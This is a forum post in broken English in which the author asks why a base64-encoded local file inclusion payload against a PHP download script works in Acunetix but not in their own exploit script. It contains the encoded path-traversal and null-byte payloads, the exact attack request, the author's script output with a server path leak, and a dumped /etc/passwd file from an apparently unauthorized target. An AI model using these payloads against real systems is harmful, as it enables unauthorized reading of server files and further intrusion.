In sorry for my English is not very good, Good evening everyone've been working a bit on a LFI exploit I had with Acunetix, it is delivering results in me

Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAucG5n

this encrypted base64

 ../../../../../../../../../../etc/passwd.png

but when the same encrypted embedded form

Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZC5wbmc=


It appears differently is that there must be some value escape if I cut the chain


Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4v  = ../../../../../../../../../../


but these carecteres ZXRjL3Bhc3N3ZAAucG5n not me at the time of the query does not throw me the value of lfi


G:\exploits>php.exe exploitrpba.php
EXPLOIT ENVIADO: Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZCUwMC5wbmc=

GET /descargas/formularios/leearch.php?decorator=identity&form=Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZCUwMC5wbmc=
<b>Warning</b>:  readfile(./../../../../../../../../../../etc/passwd%00.png.pdf)
 [<a href='function.readfile'>function.readfile</a>]: failed to open stream: No
such file or directory in <b>/web/apache-1.3.19/htdocs/descargas/formularios/lee
arch.php</b> on line <b>7</b><br />

G:\exploits>



but with acunetix

/descargas/formularios/leearch.php?decorator=identity&form=Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAucG5n


root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/cache/rpcbind:/sbin/nologin
abrt:x:173:173::/etc/abrt:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
saslauth:x:499:76:"Saslauthd user":/var/empty/saslauth:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
oprofile:x:16:16:Special user account to be used by OProfile:/home/oprofile:/sbin/nologin
ovirtagent:x:175:175:oVirt Guest Agent:/usr/share/ovirt-guest-agent:/sbin/nologin
tomcat:x:91:91:Apache Tomcat:/usr/share/tomcat6:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
munin:x:498:498:Munin user:/var/lib/munin:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
nslcd:x:65:55:LDAP Client User:/:/sbin/nologin
adm:x:3996:3996::/home/adm/bin/bash



anyone could help me with some link or manual to keep learning about this behavior, thank you very much for your time